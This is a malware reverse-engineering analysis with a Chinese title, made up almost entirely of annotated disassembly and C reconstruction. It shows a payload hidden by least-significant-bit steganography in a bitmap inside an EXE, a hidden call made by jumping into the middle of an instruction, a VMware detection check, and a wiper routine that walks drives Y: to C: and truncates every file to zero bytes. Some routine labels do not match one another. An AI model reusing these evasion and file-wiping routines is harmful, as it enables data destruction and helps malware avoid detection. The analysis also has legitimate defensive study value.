恶意软件代码隐藏在 EXE 文件中的图像中，对用于逃避防病毒的隐写术方法进行逆向工程分析

.text:00401280 ; __stdcall WinMain(x,x,x,x)
.text:00401280 _WinMain@16 proc near ; CODE XREF: start+C9p
.text:00401280
.text:00401280 hInstance = dword ptr 4
.text:00401280
.text:00401280 mov eax, [esp+hInstance]
.text:00401284 push 0 ; dwInitParam
.text:00401286 push offset DialogFunc ; lpDialogFunc
.text:0040128B push 0 ; hWndParent
.text:0040128D push 65h ; lpTemplateName
.text:0040128F push eax ; hInstance
.text:00401290 mov dword_405554, eax
.text:00401295 call ds:DialogBoxParamA
.text:00401295    ; Create a model dialog box from
.text:00401295    ; a dialog box template resource
.text:0040129B mov eax, hHandle
.text:004012A0 push INFINITE ; dwMilliseconds
.text:004012A2 push eax ; hHandle
.text:004012A3 call ds:WaitForSingleObject
.text:004012A9 retn 10h
.text:004012A9 _WinMain@16 endp

WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  // display dialog box
  DialogBoxParam(hInstance, DIALOG BOX IDENTIFIER, NULL, DialogFunc, 0);

  // terminate the program only when hHandle is freed
  return WaitForSingleObject(hHandle, INFINITE);
}

.data:004056E4 ; HANDLE hHandle
.data:004056E4 hHandle  dd 0 ; DATA XREF: .text:00401108w
.data:004056E4      ; WinMain(x,x,x,x)+1Br

.text:004010F7 mov  edx, offset lpInterface
.text:004010FC mov  eax, lpCodePointer
.text:00401101 jmp  short loc_401104  ; mysterious call
.text:00401103 db  0B8h      ; junk

.text:00401104 loc_401104: ; CODE XREF: .text:00401101j
.text:00401104 call eax        ; mysterious call

.text:00401106 db 0 ; junk
.text:00401107 db 0 ; same as above

.text:00401108 mov  hHandle, eax    ; handle setting
.text:0040110D pop  edi
.text:0040110E mov  eax, 1
.text:00401113 pop  esi
.text:00401114 retn

.00401101: EB01    jmps  .000401104  ; jump into the middle
.00401101: EB01          ; of the next command
.00401103: B8FFD00000  mov  eax,00000D0FF  ; the hidden command
.00401108: A3E4564000  mov  [004056E4],eax  ; setting the handle value
.0040110D: 5F    pop  edi
.0040110E: B801000000  mov  eax,000000001
.00401113: 5E    pop  esi
.00401114: C3    retn

.00401101: EB01 jmps .000401104  ; jump into the middle
          ; of the next command
.00401103: 90  nop ; 1 byte of MOV command erased
.00401104: FFD0 call eax ; the hidden command

.data:004056E8  lpCodePointer  dd 0 ; DATA XREF: .text:00401092w
.data:004056E8        ; .text:004010A1r
.data:004056E8        ; .text:004010BEr
.data:004056E8        ; .text:004010C8r
.data:004056E8        ; .text:004010FCr

.text:00401074 push ecx
.text:00401075 push 0
.text:00401077 mov dwBitmapSize, ecx ; store the size of the bitmap
.text:0040107D call ds:VirtualAlloc ; allocate memory, the address of
.text:0040107D ; the memory block will be stored in eax
.text:00401083 mov ecx, dwBitmapSize
.text:00401089 mov edi, eax ; edi = address of the allocated
.text:00401089          ; memory block
.text:0040108B mov edx, ecx
.text:0040108D xor eax, eax
.text:0040108F shr ecx, 2
.text:00401092 mov lpCodePointer, edi ; store the memory block address
.text:00401092          ; in the lpCodePointer variable

.text:004010BE next_byte: ; CODE XREF: .text:004010F4j
.text:004010BE mov  edi, lpCodePointer
.text:004010C4 xor  ecx, ecx
.text:004010C6 jmp  short loc_4010CE

.text:004010C8 next bit: ; CODE XREF: .text:004010E9j

.text:004010C8 mov  edi, lpCodePointer

.text:004010CE loc_4010CE: ; CODE XREF: .text:004010BCj
.text:004010CE        ; .text:004010C6j
.text:004010CE mov  edx, lpBitmapReference
.text:004010D4 mov  bl, [edi+eax]  ; assembled byte of code
.text:004010D7 mov  dl, [edx+esi]  ; next byte of RGB components
.text:004010DA and  dl, 1    ; mask the least significant bit
.text:004010DD shl  dl, cl    ; shift the bit left and increment it
.text:004010DF or  bl, dl    ; assemble a byte from component bits
.text:004010E1 inc  esi
.text:004010E2 inc  ecx
.text:004010E3 mov  [edi+eax], bl  ; store a byte of code
.text:004010E6 cmp  ecx, 8    ; 8-bit counter (8 bits=1 byte)
.text:004010E9 jb  short next bit

.text:004010EB mov  ecx, dwBitmapSize
.text:004010F1 inc  eax
.text:004010F2 cmp  esi, ecx
.text:004010F4 jb  short next byte

.text:004010F6 pop  ebx
.text:004010F7
.text:004010F7 loc_4010F7: ; CODE XREF: .text:004010B7j

.text:004010F7 mov  edx, offset lpInterface
.text:004010FC mov  eax, lpCodePointer
.text:00401101 jmp  short loc_401104  ; mysterious call
.text:00401103 db  0B8h    ; junk

.text:00401104 loc_401104: ; CODE XREF: .text:00401101j
.text:00401104 call  eax    ; mysterious call

.text:0040105B ; pointer to the start of the bitmap
.text:0040105B ; is stored in the eax register
.text:0040105B mov ecx, [eax+8] ; bitmap height
.text:0040105E push 40h
.text:00401060 imul ecx, [eax+4] ; width * height = number
.text:00401060          ; of bytes used for the pixels
.text:00401064 push 3000h
.text:00401069 add eax, 40      ; size of bitmap header
.text:0040106C lea ecx, [ecx+ecx*2] ; every pixel is described
.text:0040106C ; by 3 bytes,so the result of multiplying
.text:0040106C ; width by height must be multiplied by 3
.text:0040106F mov lpBitmapPointer, eax ; store the pointer to the next pixel
.text:00401074 push ecx
.text:00401075 push 0
.text:00401077 mov dwBitmapSize, ecx ; store bitmap size

unsigned int i = 0, j = 0, k;
unsigned int dwBitmapSize;

// calculate how many bytes all the pixels use
dwBitmapSize = width of bitmap * height of bitmap * 3;

while (i < dwBitmapSize)
{
  // assemble 8 bits taken from RGB components into one byte of code
  for (k = 0; k < 8; k++)
  {
    lpCodePointer[j] |= (lpBitmapPointer[i++] & 1) << k;
  }

  // next byte of code
  j++;
}

00000000 interface struc ; (sizeof=0X48)
00000000  hKernel32 dd ? ; kernel32.dll library handle
00000004  hUser32 dd ? ; user32.dll library handle
00000008  GetProcAddress dd ? ; WinAPI procedure addresses
0000000C CreateThread dd ?
00000010  bIsWindowsNT dd ?
00000014  CreateFileA dd ?
00000018  GetDriveTypeA dd ?
0000001C SetEndOfFile dd ?
00000020  SetFilePointer dd ?
00000024  CloseHandle dd ?
00000028  SetFileAttributesA dd ?
0000002C SetCurrentDirectoryA dd ?
00000030  FindFirstFileA dd ?
00000034  FindNextFileA dd ?
00000038  FindClose dd ?
0000003C Sleep dd ?
00000040  MessageBoxA dd ?
00000044  stFindData dd ? ; WIN32_FIND_DATA
00000048 interface ends

; the code address is stored in eax register, and the address
; of the structure which provides access to WinAPI functions
; is stored in the edx register
hidden_code:

; eax + 16 = start point of code which will be executed in the thread
  lea ecx, code_executed_in_the_thread[eax]
  push eax
  push esp
  push 0
  push edx ; parameter for the thread procedure
      ; interface structure address
  push ecx ; address of the procedure which is to be executed
      ; in the thread
  push 0
  push 0
  call [edx+interface.CreateThread] ; execute the code in the thread

loc_10:

  pop ecx
  sub dword ptr [esp], -2
  retn

code_executed_in_the_thread: ; DATA XREF: seg000:00000000r
  push ebp
  mov ebp, esp
  push esi
  push edi
  push ebx
  mov ebx, [ebp+8] ; offset of the interface containing
            ; WinAPI function addresses

; Don’t execute the "in" instruction under Windows NT
; because it would cause the program to crash
  cmp [ebx+interface.bIsWindowsNT], 1
  jz short dont_execute

; detect the VWware virtual machine. If the program detects that
; it is running inside an emulator, it terminates.
  mov ecx, 0Ah
  mov eax, 'VMXh'
  mov dx, 'VX'
  in eax, dx
  cmp ebx, 'VMXh' ; VMware detection
  jz loc_1DB

dont_execute: ; CODE XREF: seg000:00000023j

  mov ebx, [ebp+8] ; offset of the interface containing
            ; WinAPI function addresses
  call  loc_54
  aCreatefilea db 'CreateFileA',0
loc_54: ; CODE XREF: seg000:00000043p

  push [ebx+interface.hKernel32]
  call  [ebx+interface.GetProcAddress]
  mov [ebx+interface.CreateFileA], eax

  call  loc_6E
  aSetendoffile db 'SetEndOfFile',0
loc_6E: ; CODE XREF: seg000:0000005Cp

  push [ebx+interface.hKernel32]
  call  [ebx+interface.GetProcAddress] ; WinAPI procedure address
  mov [ebx+interface.SetEndOfFile], eax
  ...
  call  loc_161
  aSetfileattribu db 'SetFileAttributesA',0
loc_161: ; CODE XREF: seg000:00000149 p

  push [ebx+interface.hKernel32]
  call  [ebx+interface.GetProcAddress] ; WinAPI procedure address

  mov [ebx+interface.SetFileAttributesA], eax
  lea edi, [ebx+interface.stFindData] ; WIN32_FIND_DATA
  call  scan_discs ; hard disk scanning

  sub eax, eax
  inc eax

  pop ebx
  pop edi
  pop esi
  leave
  retn 4 ; terminate thread

scan_disks proc near ; CODE XREF: seg000:0000016Cp

var_28 = byte ptr -28h

  pusha
  push ':Y'        ; disk scanning starts from the Y: drive

next_disk: ; CODE XREF: scan_disks+20j

  push esp ; put the disk name on the stack (Y:, X:, W: etc.)
  call [ebx+interface.GetDriveTypeA] ; GetDriveTypeA

  sub eax, 3
  cmp eax, 1
  ja short cdrom_etc ; next hard disk drive letter
  mov edx, esp
  call erase_files

cdrom_etc: ; CODE XREF: scan_disks+10j

  dec byte ptr [esp+0] ; next hard disk drive letter
  cmp byte ptr [esp+0], 'C'    ; check if C: drive was reached
  jnb short next_disk ; repeat scan for the next disk

  pop ecx
  popa
  retn

scan_disks endp

erase_files proc near ; CODE XREF: scan_disks+14p, erase_files+28p

  pusha

  push edx
  call  [ebx+interface.SetCurrentDirectoryA]

  push '*'      ; file search mask
  mov eax, esp
  push edi
  push eax
  call  [ebx+interface.FindFirstFileA]

  pop ecx
  mov esi, eax
  inc eax
  jz short no_more_files

file_found: ; CODE XREF: erase_files+39j

  test byte ptr [edi], 16 ; is it a directory?
  jnz short directory_found

  call  zero_the_size_of_file

  jmp short search_for_next_file

directory_found: ; CODE XREF: erase files+17j

  lea edx, [edi+2Ch]
  cmp byte ptr [edx], '.'
  jz short search for next file

  call  erase_files ; recursive directory scan

search_for_next_file: ; CODE XREF: erase_files+1Ej, erase_files+26j

  push 5
  call  [ebx+interface.Sleep]

  push edi
  push esi
  call  [ebx+interface.FindNextFileA]
  test  eax, eax
  jnz short file found  ; is it a directory?

no_more_files: ; CODE XREF: seg000:0000003Aj, erase files+12j

  push esi
  call  [ebx+interface.FindClose]

  push '..' ; cd ..
  push esp
  call  [ebx+interface.SetCurrentDirectoryA]
  pop ecx

  popa
  retn

erase_files endp

zero_file_size proc near ; CODE XREF: erase_files+19p

  pusha

  mov eax, [edi+20h] ; file size
  test eax, eax ; if the file has 0 bytes, skip it
  jz short skip_file

  lea eax, [edi+2Ch] ; file name
  push 20h; ' ' ; new file attributes
  push eax ; file_name
  call  [ebx+interface.SetFileAttributesA]; set file attributes

  lea eax, [edi+2Ch]
  sub edx, edx
  push edx
  push 80h
  push 3
  push edx
  push edx
  push 40000000h
  push eax
  call  [ebx+interface.CreateFileA]
  inc eax ; was the file opened successfully?
  jz short skip_file ; if not, do not zero the file
  dec  eax
  xchg eax, esi ; load file handle to esi register

  push 0        ; set file pointer to the beginning (FILE_BEGIN)
  push 0
  push 0        ; fetch the address of the file handle
  push esi ; file handle
  call  [ebx+interface.SetFilePointer]

  push esi ; set the EOF to the current pointer (beginning of file),
            ; which will zero the size of the file
  call  [ebx+interface.SetEndOfFile]

  push esi ; close the file
  call  [ebx+interface.CloseHandle]

skip_file: ; CODE XREF: zero file size+6j
            ; zero file size+2Aj
  popa
  retn

zero_file_size endp